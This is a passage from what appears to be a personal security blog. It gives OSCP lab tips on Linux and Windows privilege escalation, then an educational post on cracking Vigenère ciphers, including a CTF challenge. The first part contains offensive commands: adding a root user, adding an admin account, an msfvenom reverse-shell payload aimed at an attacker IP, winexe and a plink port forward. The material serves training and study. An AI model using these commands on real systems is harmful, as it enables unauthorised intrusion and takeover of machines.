<p>It will create a new root user with the password “foo”. The encrypted password was generated with: <code class="language-plaintext highlighter-rouge">perl -le 'print crypt("foo", "aa")'</code>. You can then easily elevate to a root shell with <code class="language-plaintext highlighter-rouge">su toor</code>.</p>
<h4 id="escalation-with-admin-command-windows">Escalation with admin command (Windows)</h4>
<p>Similarly, if you can get a command to run with SYSTEM privileges on Windows, it’s usually a good idea to add yourself to the Administrators group with <code class="language-plaintext highlighter-rouge">net localgroup Administrators offsec /add</code>. However, on newer Windows machines, this may only give you “unelevated” administrator access, and you’ll be hamstrung by UAC and won’t be able to read the Administrator account’s files.</p>
<p>For me, the most successful command in these situations was a reverse shell executable:</p>
<p><code class="language-plaintext highlighter-rouge">msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -e x86/shikata_ga_nai -f exe -o non_staged.exe</code></p>
<p>This worked after hours of trying to run netcat shells, playing around with the registry, and attempting to use <code class="language-plaintext highlighter-rouge">PsExec -s</code>, which all failed in various ways.</p>
<h4 id="escalation-knowing-the-admin-password">Escalation knowing the admin password</h4>
<p>On Windows you may find yourself knowing the Administrator password, but have no easy way to use it. Interactive password prompts won’t appear on netcat shells, and PsExec may throw out cryptic errors.</p>
<p>If SMB is open, running the following from Kali often does the trick:</p>
<p><code class="language-plaintext highlighter-rouge">winexe -U Administrator //10.0.0.0 "cmd.exe"</code></p>
<p>If SMB is up locally but the port is closed externally, then try a remote port forward back to your attacking machine:</p>
<p><code class="language-plaintext highlighter-rouge">plink.exe -l sshproxy -pw sshproxy -R 445:127.0.0.1:445 10.10.10.10</code></p>
<p><code class="language-plaintext highlighter-rouge">winexe -U Administrator //127.0.0.1 "cmd.exe"</code></p>
<h2 id="trying-harder-and-all-that">‘Trying harder’ and all that</h2>
<p>OSCP has a reputation of being a challenging course and a lot of people get very discouraged by it. It definitely is challenging, but like anything, the more exposure you’ve had to the related material and ideas beforehand, the more manageable it is.</p>
<p>Proficiency in concepts like Linux privilege escalation comes from being able to spot the one small thing that doesn’t look right on a system amongst <em>thousands of totally normal things</em>, and it’s clear that’s a skill that takes time to develop. At first you don’t have a clue what to look for, and could spend hours without making any progress. Once you’ve done it 20 times, you’ll know the common patterns, and can sometimes spot the weakness instantly. Once you’ve done it 100 times, it’s a piece of cake. That’s not crazy l33t skills; it’s just experience that allows you to filter out the noise.</p>
<p>What I’m saying is that the OSCP labs are unforgiving if they’re your first exposure to some of these concepts. Walkthroughs do not exist, just a bunch of people being cryptic on a forum. There’s a guide, but it’s not complete, the techniques only come alive when you use them.</p>
<p>In my opinion, <a href="https://www.hackthebox.eu/">HackTheBox</a> is a much better place to start. Machines are graded by difficulty, and the forums have a great culture of sharing knowledge. Out of their own goodwill and the principle of ‘paying it forward’, people take time to help you if you are stuck, and there are high-quality writeups available for all the retired machines. Some say that HTB machines are more “CTF-like” (less realistic) than OSCP machines, and while that’s true on average, there’s a whole variety of boxes, some of which are just like the OSCP lab machines. Best of all, the basic features are free, and a couple months’ membership is very cheap compared to OSCP.</p>
<p>That’s why I feel that HackTheBox, and to a lesser extent <a href="https://www.vulnhub.com/">VulnHub</a>, are fantastic environments for building up that initial experience. There is a lot to be gained just from working through writeups for those boxes and collecting useful commands and techniques.</p>
<p>Once you’ve done that, the OSCP lab time becomes an opportunity to hone your existing skills, plug your weaknesses, and practice techniques like pivoting and client-side attacks which you don’t get much chance to do elsewhere. It’ll still be challenging, but in a more fulfilling way, and a better use of your time and money.</p>
<p>(I promise I’m not a shill for HackTheBox, I’m just glad that I started there)</p>
Cracking a difficult Vigenère Cipher2018-10-21T00:00:00+00:00http://laurencetennant.com/vigenere<p>Last week I competed in the <a href="https://www.europeancybersecuritychallenge.eu">European Cyber Security Challenge</a>, and I spent the first morning working on a “modified Vigenère” challenge. This post describes a highly effective method of cryptanalysing Vigenère ciphers and how it was adapted to solve the challenge.</p>
<h3 id="background">Background</h3>
<p>The <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher">Vigenère</a> was invented in the 16th century and over the following centuries developed a reputation of being extremely hard to crack. As late as 1868, <em>Alice in Wonderland</em> author Lewis Carroll claimed the cipher was unbreakable, and in French it was referred to as “le chiffre indéchiffrable”. However, the reputation of the so-called “indecipherable cipher” was undeserved. Computing pioneer Charles Babbage broke it in the 1850s, and during the American Civil War, Vigenère messages sent by the Confederates were regularly intercepted and decrypted by the Union.</p>
<p>Before going any further, here is a refresher of how the cipher works:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Key: KEYKEYKEYKEYKEYKEYKEYKEYKEYKEYKEYKEYKEYKEYK
Plaintext: LECOEURASESRAISONSQUELARAISONNECONNAITPOINT
Ciphertext: VIAYISBEQOWPKMQYRQAYCVEPKMQYRLOGMXRYSXNYMLD
</code></pre></div></div>
<p>To produce each letter of the ciphertext, each key and plaintext letter is added together, using their positions in the alphabet, counting up from <code class="language-plaintext highlighter-rouge">A</code> as the ‘zeroth’ letter. Accordingly, <code class="language-plaintext highlighter-rouge">K</code> is the 10th letter in the alphabet and <code class="language-plaintext highlighter-rouge">L</code> is the 11th; these are added to get the 21st letter, <code class="language-plaintext highlighter-rouge">V</code>. If the addition goes over the end of the alphabet, it wraps back around using <a href="https://en.wikipedia.org/wiki/Modular_arithmetic">modular arithmetic</a>: <code class="language-plaintext highlighter-rouge">Y</code> (24) + <code class="language-plaintext highlighter-rouge">C</code> (2) becomes <code class="language-plaintext highlighter-rouge">26 % 26 = 0 = A</code>.</p>
<p><img src="/assets/vigenere_decrypt.png" alt="" /></p>
<p>The defining characteristic of the Vigenère is that it is <a href="https://en.wikipedia.org/wiki/Polyalphabetic_cipher">polyalphabetic</a>; the same plaintext letter may map to a number of different ciphertext letters. This way, it achieves a very limited form of <a href="https://en.wikipedia.org/wiki/Claude_Shannon">Claude Shannon</a>’s <a href="https://en.wikipedia.org/wiki/Confusion_and_diffusion"><em>confusion</em></a> property of secure ciphers. In plain terms, this means that the relationship between the ciphertext and the key should be complex, so as to hide connections between the two. The fact that there is no direct mapping between individual letters in a Vigenère ciphertext and the key stumped cryptanalysts for years.</p>
<p>On the other hand, the Vigenère fails at the other crucial property of modern ciphers, <a href="https://en.wikipedia.org/wiki/Confusion_and_diffusion"><em>diffusion</em></a>, which refers to the importance of scattering the statistical structure of the plaintext over the entirety of the ciphertext. In an ideal cipher, a change of a single bit in the plaintext would change half the ciphertext, maximally concealing statistical patterns. The Vigenère is very bad at this because it has a repeating key, making statistical patterns detectable in the ciphertext. The shorter the key, the easier this is to see.</p>
<p>For instance, in our toy example, the plaintext <code class="language-plaintext highlighter-rouge">L</code>—like all the letters of the plaintext—can only map to three different ciphertext letters depending on which letter of the key it corresponds to at each position. Because of this, there are duplicate encryptions: <code class="language-plaintext highlighter-rouge">L</code> in the plaintext lines up with <code class="language-plaintext highlighter-rouge">K</code> in the key twice, producing an identical ciphertext of <code class="language-plaintext highlighter-rouge">V</code> both times. <a href="https://en.wikipedia.org/wiki/Kasiski_examination">Early methods</a> of cracking Vigenère ciphertexts focus on occurrences like this to determine the keylength. But there is a much stronger attack.</p>
<h3 id="finding-the-keylength">Finding the keylength</h3>
<p>If we partition the ciphertext into three separate columns, the first consisting of letters encrypted by <code class="language-plaintext highlighter-rouge">K</code>, the second of letters encrypted by <code class="language-plaintext highlighter-rouge">E</code>, and the third of letters encrypted by <code class="language-plaintext highlighter-rouge">Y</code>, we essentially have three Caesar ciphers. Since a Caesar cipher is just a shift of all letters by the same value, the columns of ciphertext letters still retain the frequency distribution of the underlying plaintext language (French without diacritics in this case).</p>
<p><img src="/assets/vigenere_freqs.png" alt="" /></p>
<p>However, if we partition the ciphertext into a number of columns different from the keylength, and not a multiple of it, such as seven, we get something much more like random text than Caesar-shifted French. Because each column now contains letters encrypted by a number of different key shifts, there is no longer a pronounced frequency distribution. In a natural language text, some letters are common (<code class="language-plaintext highlighter-rouge">E</code>) and others are rare (<code class="language-plaintext highlighter-rouge">Z</code>). But in a large enough random text, one random letter is as equally likely to appear or “coincide” as any other.</p>
<p>If we test every possible keylength in this way and examine the resulting statistical distributions of letters, we can easily pick out the distribution that looks most like natural language. This is the intuition behind the <a href="https://www.dcode.fr/index-coincidence">index of coincidence</a> attack on keylength, invented by chief NSA cryptographer <a href="https://en.wikipedia.org/wiki/William_F._Friedman">William Friedman</a>.</p>
<p>The following code implements this concept:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">Counter</span>
<span class="k">def</span> <span class="nf">ic</span><span class="p">(</span><span class="n">ctext</span><span class="p">):</span>
<span class="n">num</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="n">den</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">Counter</span><span class="p">(</span><span class="n">ctext</span><span class="p">).</span><span class="n">values</span><span class="p">():</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">val</span>
<span class="n">num</span> <span class="o">+=</span> <span class="n">i</span> <span class="o">*</span> <span class="p">(</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">den</span> <span class="o">+=</span> <span class="n">i</span>
<span class="k">if</span> <span class="n">den</span> <span class="o">==</span> <span class="mf">0.0</span><span class="p">:</span>
<span class="k">return</span> <span class="mf">0.0</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">num</span> <span class="o">/</span> <span class="p">(</span><span class="n">den</span> <span class="o">*</span> <span class="p">(</span><span class="n">den</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">partition</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">num</span><span class="p">):</span>
<span class="n">cols</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span><span class="p">]</span> <span class="o">*</span> <span class="n">num</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
<span class="n">cols</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">num</span><span class="p">]</span> <span class="o">+=</span> <span class="n">c</span>
<span class="k">return</span> <span class="n">cols</span>
<span class="k">def</span> <span class="nf">find_keylen_ics</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">low</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">high</span><span class="o">=</span><span class="mi">10</span><span class="p">,</span> <span class="n">rows</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span>
<span class="k">if</span> <span class="n">high</span> <span class="o">></span> <span class="nb">len</span><span class="p">(</span><span class="n">ctext</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">high</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">ctext</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span>
<span class="n">results</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">length</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">low</span><span class="p">,</span> <span class="n">high</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
<span class="n">ics</span> <span class="o">=</span> <span class="p">[</span><span class="n">ic</span><span class="p">(</span><span class="n">col</span><span class="p">)</span> <span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="n">partition</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">length</span><span class="p">)]</span>
<span class="n">results</span><span class="p">[</span><span class="n">length</span><span class="p">]</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">ics</span><span class="p">)</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">ics</span><span class="p">)</span>
<span class="n">best</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">results</span><span class="p">.</span><span class="n">items</span><span class="p">(),</span> <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">kv</span><span class="p">:</span> <span class="o">-</span><span class="n">kv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="s">"%8s %8s"</span> <span class="o">%</span> <span class="p">(</span><span class="s">"keylen"</span><span class="p">,</span> <span class="s">"ic"</span><span class="p">))</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">best</span><span class="p">[:</span><span class="n">rows</span><span class="p">]:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"%8d %8.3f"</span> <span class="o">%</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="p">))</span>
<span class="k">return</span> <span class="n">best</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="s">"VIAYISBEQOWPKMQYRQAYCVEPKMQYRLOGMXRYSXNYMLDSLVIQORRORKSPJOGFYWCC"</span>
<span class="n">find_keylen_ics</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span></code></pre></figure>
<p>Output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> keylen ic
6 0.092
3 0.090
9 0.082
4 0.065
8 0.062
</code></pre></div></div>
<p>Even for such a short ciphertext, the <code class="language-plaintext highlighter-rouge">find_keylen_ics</code> function reports a keylength of three and its multiples as having the highest indices of coincidence. French literature actually has an index of coincidence of about 0.078. The result here is higher than that due to the limited character set and removal of diacritics, making “coincidences” more likely.</p>
<h3 id="cracking-the-key">Cracking the key</h3>
<p>Now that we know the keylength, and therefore the number of columns to partition the ciphertext into, the second part of the attack takes further advantage of the Caesar-like nature of these columns. Instead of just looking at the frequency distribution through the lens of a single statistic, we now consider the frequencies of individual plaintext letters.</p>
<p>For each column, we try every possible letter as the key letter for that column, and see which resulting decrypted text most resembles the target natural language. This is done by scoring common letters in the candidate plaintext highly, and penalising less common ones.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">operator</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="k">def</span> <span class="nf">freq_score</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
<span class="n">freqs</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'a'</span><span class="p">:</span> <span class="mi">8167</span><span class="p">,</span>
<span class="s">'b'</span><span class="p">:</span> <span class="mi">1492</span><span class="p">,</span>
<span class="s">'c'</span><span class="p">:</span> <span class="mi">2782</span><span class="p">,</span>
<span class="s">'d'</span><span class="p">:</span> <span class="mi">4253</span><span class="p">,</span>
<span class="s">'e'</span><span class="p">:</span> <span class="mi">12702</span><span class="p">,</span>
<span class="s">'f'</span><span class="p">:</span> <span class="mi">2228</span><span class="p">,</span>
<span class="s">'g'</span><span class="p">:</span> <span class="mi">2015</span><span class="p">,</span>
<span class="s">'h'</span><span class="p">:</span> <span class="mi">6094</span><span class="p">,</span>
<span class="s">'i'</span><span class="p">:</span> <span class="mi">6966</span><span class="p">,</span>
<span class="s">'j'</span><span class="p">:</span> <span class="mi">153</span><span class="p">,</span>
<span class="s">'k'</span><span class="p">:</span> <span class="mi">772</span><span class="p">,</span>
<span class="s">'l'</span><span class="p">:</span> <span class="mi">4025</span><span class="p">,</span>
<span class="s">'m'</span><span class="p">:</span> <span class="mi">2406</span><span class="p">,</span>
<span class="s">'n'</span><span class="p">:</span> <span class="mi">6749</span><span class="p">,</span>
<span class="s">'o'</span><span class="p">:</span> <span class="mi">7507</span><span class="p">,</span>
<span class="s">'p'</span><span class="p">:</span> <span class="mi">1929</span><span class="p">,</span>
<span class="s">'q'</span><span class="p">:</span> <span class="mi">95</span><span class="p">,</span>
<span class="s">'r'</span><span class="p">:</span> <span class="mi">5987</span><span class="p">,</span>
<span class="s">'s'</span><span class="p">:</span> <span class="mi">6327</span><span class="p">,</span>
<span class="s">'t'</span><span class="p">:</span> <span class="mi">9056</span><span class="p">,</span>
<span class="s">'u'</span><span class="p">:</span> <span class="mi">2758</span><span class="p">,</span>
<span class="s">'v'</span><span class="p">:</span> <span class="mi">978</span><span class="p">,</span>
<span class="s">'w'</span><span class="p">:</span> <span class="mi">2360</span><span class="p">,</span>
<span class="s">'x'</span><span class="p">:</span> <span class="mi">150</span><span class="p">,</span>
<span class="s">'y'</span><span class="p">:</span> <span class="mi">1974</span><span class="p">,</span>
<span class="s">'z'</span><span class="p">:</span> <span class="mi">74</span>
<span class="p">}</span>
<span class="n">score</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
<span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">' '</span><span class="p">:</span>
<span class="n">score</span> <span class="o">+=</span> <span class="mi">10000</span>
<span class="k">elif</span> <span class="n">c</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">in</span> <span class="n">freqs</span><span class="p">:</span>
<span class="n">score</span> <span class="o">+=</span> <span class="n">freqs</span><span class="p">[</span><span class="n">c</span><span class="p">.</span><span class="n">lower</span><span class="p">()]</span>
<span class="k">elif</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">128</span><span class="p">:</span>
<span class="n">score</span> <span class="o">-=</span> <span class="mi">5000</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">score</span> <span class="o">-=</span> <span class="mi">1000</span>
<span class="k">return</span> <span class="n">score</span>
<span class="k">def</span> <span class="nf">find_key</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">keylen</span><span class="p">,</span> <span class="n">alph</span><span class="o">=</span><span class="n">string</span><span class="p">.</span><span class="n">ascii_lowercase</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="n">partition</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">keylen</span><span class="p">):</span>
<span class="n">scores</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">letter</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">alph</span><span class="p">):</span>
<span class="n">transposed</span> <span class="o">=</span> <span class="p">[</span><span class="n">alph</span><span class="p">[(</span><span class="n">alph</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="n">lower</span><span class="p">())</span> <span class="o">-</span> <span class="n">i</span><span class="p">)</span> <span class="o">%</span>
<span class="nb">len</span><span class="p">(</span><span class="n">alph</span><span class="p">)]</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">col</span><span class="p">]</span>
<span class="n">scores</span><span class="p">[</span><span class="n">letter</span><span class="p">]</span> <span class="o">=</span> <span class="n">freq_score</span><span class="p">(</span><span class="n">transposed</span><span class="p">)</span>
<span class="n">key</span> <span class="o">+=</span> <span class="nb">max</span><span class="p">(</span><span class="n">scores</span><span class="p">.</span><span class="n">items</span><span class="p">(),</span> <span class="n">key</span><span class="o">=</span><span class="n">operator</span><span class="p">.</span><span class="n">itemgetter</span><span class="p">(</span><span class="mi">1</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">return</span> <span class="n">key</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">alph</span><span class="o">=</span><span class="n">string</span><span class="p">.</span><span class="n">ascii_lowercase</span><span class="p">):</span>
<span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">alph</span><span class="p">[(</span><span class="n">alph</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="n">lower</span><span class="p">())</span> <span class="o">-</span> <span class="n">alph</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]))</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">alph</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">ctext</span><span class="p">))</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">find_key</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">))</span></code></pre></figure>
<p>Output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>key
lecoeurasesraisonsquelaraisonneconnaitpointonlesentenmillechoses
</code></pre></div></div>
<p>Interestingly, this <code class="language-plaintext highlighter-rouge">freq_score</code> function, which is based on the frequency of English letters, works just as well here on French. One by one the best-scoring letter at each position of the key is found, until the cipher is completely cracked.</p>
<h2 id="the-modified-vigenère">The Modified Vigenère</h2>
<p>The above code works excellently on standard Vigenère ciphers, and there are plenty of online solvers out there implementing a similar logic. As predicted, the modified Vigenère cipher we were given in the competition included features designed to throw off traditional analysis.</p>
<p>We were provided a hexadecimally-encoded ciphertext file (<a href="https://github.com/hyperreality/vigenere/blob/master/modvigenere.cipher">modvigenere.cipher</a>) and a C encryption tool (<a href="https://github.com/hyperreality/vigenere/blob/master/modvigenere.c">modvigenere.c</a>). Here is the bulk of the encryption code:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">keylen</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buffer</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">n_read</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"modvigenere key (hexstring)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">keylen</span> <span class="o">=</span> <span class="n">decode_hex</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&</span><span class="n">key</span><span class="p">);</span>
<span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">keylen</span><span class="p">);</span>
<span class="k">while</span> <span class="p">((</span><span class="n">n_read</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">keylen</span><span class="p">))</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="n">n_read</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">i</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">6</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">7</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%02x"</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">n_read</span> <span class="o"><</span> <span class="n">keylen</span><span class="p">)</span> <span class="p">{</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>In summary, this main function:</p>
<ol>
<li>accepts a hexadecimally-encoded key as an argument.</li>
<li>converts the key to an array of C integers from 0-255.</li>
<li>sets up a character buffer the size of the keylength.</li>
<li>loops over the following steps until running out of standard input:
<ul>
<li>read standard input into the buffer.</li>
<li>encode each character using a different operation on a rotation of eight.</li>
<li>convert the integer result back to hexadecimal and print it.</li>
</ul>
</li>
</ol>
<p>The clear variation from the standard Vigenère is that different operations are used to encrypt depending on the position of the plaintext, rather than just addition modulo the size of the alphabet. These operations are <a href="https://en.wikipedia.org/wiki/XOR_cipher">xor</a>, and addition and subtraction modulo 256.</p>
<p>This immediately prompted a few observations. The fact that the key is hexadecimally-encoded, plus encryption operations occur modulo 256, indicated that the key comprises characters in the range of extended ASCII (0-255) rather than alphabetic letters. The rotation of 8 different operations suggested a keylength that is a multiple of 8.</p>
<p>Despite the different encryption operations used, the index of coincidence test for keylength—applied after hex-decoding the ciphertext—still returned a strong result:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">re</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'modvigenere.cipher'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">modvigenere</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span> <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="s">'.{2}'</span><span class="p">,</span> <span class="n">modvigenere</span><span class="p">)]</span>
<span class="k">print</span><span class="p">(</span><span class="n">find_keylen_ics</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">high</span><span class="o">=</span><span class="mi">30</span><span class="p">))</span></code></pre></figure>
